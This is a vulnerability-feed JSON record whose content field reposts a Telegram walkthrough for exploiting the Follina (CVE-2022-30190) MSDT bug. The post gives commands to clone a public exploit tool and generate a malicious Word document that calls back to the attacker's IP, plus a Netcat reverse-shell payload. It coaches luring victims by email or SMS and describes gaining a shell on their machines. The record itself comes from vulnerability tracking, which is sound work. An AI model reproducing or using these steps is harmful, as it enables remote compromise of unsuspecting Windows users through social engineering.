{"uuid": "c00590bf-d0b0-4bc9-8930-4547b9574389", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2022-30190", "type": "exploited", "source": "https://t.me/professional_c_h/1745", "content": "\ud83d\udca0 Follina - Microsoft MSDTC Vulnerability\n\n \ud83d\udc49\ud83c\udffb Follina is a remote code execution vulnerability where MSDT is invoked using the URL protocol from a calling application such as Word.  An attacker who successfully exploited this vulnerability could run arbitrary code with the privileges of the calling application.  The attacker can then install programs, view, modify or delete data, or create new accounts in the context allowed by the user's rights.\n\n \ud83d\udc41 An attacker can access a user's privileges using any application or even a shell.  An attacker can install programs, view, modify, delete data, or create new accounts with user privileges.  Follina's CVE number is CVE-2022-30190.\n\n\n Exploring Follina\n\n git clone https://github.com/JohnHammond/msdt-follina\n cd msdt-follina\n python3 follina.py -i X.X.X.X\n\n \ud83d\udcac In the above command, X.X.X.X is our IP address.  This will create a malicious doc file that launches a listener for its HTML payload on port 8000. You can view the documents in the msdt-follina directory.\n\n \ud83d\udcda We need to send it to our target's Windows system.  This is where you can apply your SI to hook your target.  You can send it by mail or send a juicy SMS with a link to download a malicious DOC file.  We hosted it in our decentralized cloud storage.  (In order to use it externally, we need to use our external IP address and forward the required port).\n\n \ud83d\udc41\u200d\ud83d\udde8 Whenever our victim opens it and clicks \"Enable Editing\" in MS Word (for an older version of MS Office, this is not required, we can get them directly), we get a reverse connection to our Kali Linux, as in the screenshot  .\n\n \ud83d\udcbb But it can do much more if we create the payload with the following command, then we can even get a shell:\n\n python3 follina.py -r 7777\n\n \u2328\ufe0f In the above command we are using port 7777 to connect to the payload, here we can use any unused port.\n\n \ud83d\udc68\ud83c\udffb\u200d\ud83d\udcbb The above command will create a Netcat payload and start the listener, and it will also create a DOC file in the msdt-follina directory.  After our target clicked \"Enable Editing\", we got a shell on reconnect.\n\n \ud83d\udccc Now we can do everything that a user of the victim computer can do.  This vulnerability is unlikely to be fixed, at least in the past week.  Our article is inspired by our friend NetworkChuck's video on YouTube, we can watch his next video (we made small changes to avoid mistakes).", "creation_timestamp": "2022-09-19T18:29:16.000000Z"}